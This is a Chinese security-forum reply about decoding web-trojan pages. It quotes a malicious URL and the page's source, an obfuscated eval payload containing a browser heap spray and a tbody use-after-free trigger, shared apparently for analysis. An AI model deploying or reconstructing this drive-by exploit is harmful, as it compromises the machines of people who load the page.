回复: 关于解密中容易忽略网马类型(补充)
再补充一个例子,以这个恶意网址为例:http://jjjt3t4.8866.org/a/02.htm,以下为源代码内容:
<script src="set.js"></script>
<script language="JavaScript">
eval(unescape("%76%61%72%20%74%65%73%74%39%39%3d%79%75%6d%65%6e%3b%76%61%72%20%79%75%6d%65%6e%3d%6e%65%77%20%41%72%72%61%79%28%29%3b%54%61%6d%65%65%65%65%65%65%3d%75%6e%65%73%63%61%70%65%28%74%74%74%2e%72%65%70%6c%61%63%65%28%2f%67%66%64%73%2f%67%2c%22%5c%78%32%35%5c%78%37%35%22%29%29%3b%77%68%69%6c%65%28%62%2e%6c%65%6e%67%74%68%3c%30%78%31%30%30%30%30%30%2d%28%74%74%74%2e%6c%65%6e%67%74%68%2a%32%2b%30%78%30%31%30%32%30%29%2f%32%29%7b%62%2b%3d%62%7d%76%61%72%20%6c%68%3d%62%2e%73%75%62%73%74%72%69%6e%67%28%30%2c%30%78%31%30%30%30%30%30%2d%28%74%74%74%2e%6c%65%6e%67%74%68%2a%32%2b%30%78%30%31%30%32%30%29%2f%32%29%3b%66%6f%72%28%69%3d%30%3b%69%3c%30%78%43%30%3b%69%2b%2b%29%7b%79%75%6d%65%6e%5b%69%5d%3d%6c%68%2b%54%61%6d%65%65%65%65%65%65%7d%43%6f%6c%6c%65%63%74%47%61%72%62%61%67%65%28%29%3b%76%61%72%20%73%31%3d%75%6e%65%73%63%61%70%65%28%22%25%22%2b%22%75%22%2b%22%30%22%2b%22%62%22%2b%22%30%22%2b%22%62%22%2b%22%25%22%2b%22%75%22%2b%22%30%22%2b%22%62%22%2b%22%30%22%2b%22%62%22%2b%22%61%67%7a%61%67%7a%61%67%7a%61%67%7a%61%67%7a%61%67%7a%61%67%7a%61%67%7a%61%22%29%3b%76%61%72%20%61%31%3d%6e%65%77%20%41%72%72%61%79%28%29%3b%66%6f%72%28%76%61%72%20%78%3d%30%3b%78%3c%31%30%30%30%3b%78%2b%2b%29%61%31%2e%70%75%73%68%28%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%22%69%6d%67%22%29%29%3b%66%75%6e%63%74%69%6f%6e%20%6f%6b%28%29%7b%6f%31%3d%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%22%74%62%6f%64%79%22%29%3b%6f%31%2e%63%6c%69%63%6b%3b%76%61%72%20%6f%32%3d%6f%31%2e%63%6c%6f%6e%65%4e%6f%64%65%28%29%3b%6f%31%2e%63%6c"+"%65%61%72%41%74%74%72%69%62%75%74%65%73%28%29%3b%6f%31%3d%6e%75%6c%6c"+"%3b%43%6f%6c%6c%65%63%74%47%61%72%62%61%67%65%28%29%3b%66%6f%72%28%76"+"%61%72%20%78%3d%30%3b%78%3c%61%31%2e%6c%65%6e%67%74%68%3b%78%2b%2b%29%61%31%5b%78%5d%2e%73%72%63%3d%73%31%3b%6f%32%2e%63%6c%69%63%6b%7d"));
</script><script>window.setTimeout("ok();",330);</script>